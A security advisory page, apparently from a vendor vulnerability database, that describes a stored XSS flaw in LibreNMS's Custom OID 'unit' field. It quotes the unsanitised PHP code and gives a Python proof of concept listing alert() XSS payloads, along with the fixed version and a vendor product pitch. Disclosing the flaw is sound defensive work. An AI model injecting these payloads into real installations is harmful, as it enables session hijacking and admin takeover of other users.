GHSA-fqx6-693c-f55g
MEDIUMLibreNMS has a Stored XSS in Custom OID - unit parameter missing strip_tags()
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
librenms/librenmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The unit parameter in Custom OID functionality lacks strip_tags() sanitization while other fields (name, oid, datatype) are sanitized. The unsanitized value is stored in the database and rendered without HTML escaping, allowing Stored XSS.
Details
Vulnerable Input Processing (includes/html/forms/customoid.inc.php lines 18-21):
$name = strip_tags((string) $_POST['name']); // line 18 - SANITIZED
$oid = strip_tags((string) $_POST['oid']); // line 19 - SANITIZED
$datatype = strip_tags((string) $_POST['datatype']); // line 20 - SANITIZED
$unit = $_POST['unit']; // line 21 - NOT SANITIZED!
Vulnerable Output (graphs/customoid.inc.php lines 13-20):
$customoid_unit = $customoid['customoid_unit']; // Retrieved from DB
$customoid_current = \LibreNMS\Util\Number::formatSi(...) . $customoid_unit;
echo "...$customoid_current..."; // ECHOED WITHOUT ESCAPING!
PoC
#!/usr/bin/env python3
"""
XSS test for LibreNMS Custom OID - unit parameter
"""
import html as html_module
import re
def strip_tags(value):
return re.sub(r'<[^>]*?>', '', str(value))
# Simulate form processing (customoid.inc.php lines 18-21)
test_inputs = {
'name': '<script>alert(1)</script>Test OID',
'oid': '1.3.6.1.4.1.2021.10.1.3.1',
'datatype': 'GAUGE',
'unit': '<script>alert("XSS")</script>',
}
name = strip_tags(test_inputs['name']) # Sanitized
oid = strip_tags(test_inputs['oid']) # Sanitized
datatype = strip_tags(test_inputs['datatype']) # Sanitized
unit = test_inputs['unit'] # NOT SANITIZED!
print("Input Processing Analysis:")
print(f" name (strip_tags): {name}")
print(f" oid (strip_tags): {oid}")
print(f" datatype (strip_tags): {datatype}")
print(f" unit (NO strip_tags): {unit}")
print()
print("*** VULNERABILITY: 'unit' parameter has NO strip_tags()! ***")
# Test XSS payloads
payloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror=alert(1)>',
'<svg onload=alert(1)>',
]
print("\nXSS Payload Tests:")
for payload in payloads:
escaped = html_module.escape(payload)
has_xss = '<script>' in payload or 'onerror=' in payload.lower()
print(f" Payload: {payload}")
print(f" Raw (vulnerable): Contains executable code: {has_xss}")
print(f" Escaped (safe): {escaped}")
Expected Output
Input Processing Analysis:
name (strip_tags): alert(1)Test OID
oid (strip_tags): 1.3.6.1.4.1.2021.10.1.3.1
datatype (strip_tags): GAUGE
unit (NO strip_tags): <script>alert("XSS")</script>
*** VULNERABILITY: 'unit' parameter has NO strip_tags()! ***
Impact
- Attack Vector: User with device edit permissions sets malicious Unit value
- Exploitation: XSS payload stored in database, executes for all users viewing device graphs
- Consequences:
- Session hijacking via cookie theft
- Admin account takeover
- Malicious actions on behalf of victims
- Persistent attack affecting all users
- Affected Users: All LibreNMS installations with Custom OID feature
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | librenms/librenms | ≥ 24.10.0&&< 26.2.0 | 26.2.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update librenms/librenms to 26.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fqx6-693c-f55g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fqx6-693c-f55g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fqx6-693c-f55g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fqx6-693c-f55g in your dependencies?
O3 detects GHSA-fqx6-693c-f55g across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.